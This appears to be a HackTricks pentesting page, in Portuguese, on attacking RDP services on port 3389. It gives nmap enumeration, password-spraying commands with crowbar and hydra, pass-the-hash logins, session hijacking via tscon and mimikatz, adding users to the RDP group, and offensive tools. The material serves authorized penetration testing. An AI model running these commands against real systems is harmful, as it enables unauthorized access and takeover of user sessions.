# 3389 - Pentesting RDP {{#include ../banners/hacktricks-training.md}} ## Informações Básicas Desenvolvido pela Microsoft, o **Remote Desktop Protocol** (**RDP**) é projetado para permitir uma conexão de interface gráfica entre computadores através de uma rede. Para estabelecer tal conexão, o software cliente **RDP** é utilizado pelo usuário, e, simultaneamente, o computador remoto deve operar o software servidor **RDP**. Essa configuração permite o controle e acesso sem interrupções ao ambiente de desktop de um computador distante, trazendo essencialmente sua interface para o dispositivo local do usuário. **Porta padrão:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` ## Enumeração ### Automático ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões). ### [Brute force](../generic-hacking/brute-force.md#rdp) **Cuidado, você pode bloquear contas** ### **Password Spraying** **Cuidado, você pode bloquear contas** ```bash # https://github.com/galkan/crowbar crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` ### Conectar com credenciais/hash conhecidas ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` ### Verifique credenciais conhecidas contra serviços RDP rdp_check.py do impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP: ```bash rdp_check /:@ ``` ## **Ataques** ### Roubo de sessão Com **permissões do SISTEMA**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário. **Obter sessões abertas:** ``` query user ``` **Acesso à sessão selecionada** ```bash tscon /dest: ``` Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows. **Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que estava utilizando-a. Você pode obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...) #### **Mimikatz** Você também pode usar o mimikatz para fazer isso: ```bash ts::sessions #Get sessions ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman Combinando esta técnica com **stickykeys** ou **utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento** Você pode procurar RDPs que foram backdoor com uma dessas técnicas já com: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection Se alguém de um domínio diferente ou com **melhores privilégios fizer login via RDP** no PC onde **você é um Admin**, você pode **injetar** seu beacon no **processo da sessão RDP** dele e agir como ele: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} ### Adding User to RDP group ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` ## Ferramentas Automáticas - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) **AutoRDPwn** é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque **Shadow** em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto **veja a área de trabalho de sua vítima sem o seu consentimento**, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Controlar mouse e teclado de forma automatizada a partir da linha de comando - Controlar a área de transferência de forma automatizada a partir da linha de comando - Criar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP - Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos - Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo - [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) Esta ferramenta permite executar comandos no RDP da vítima **sem precisar de uma interface gráfica**. ## Comandos Automáticos HackTricks ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` {{#include ../banners/hacktricks-training.md}}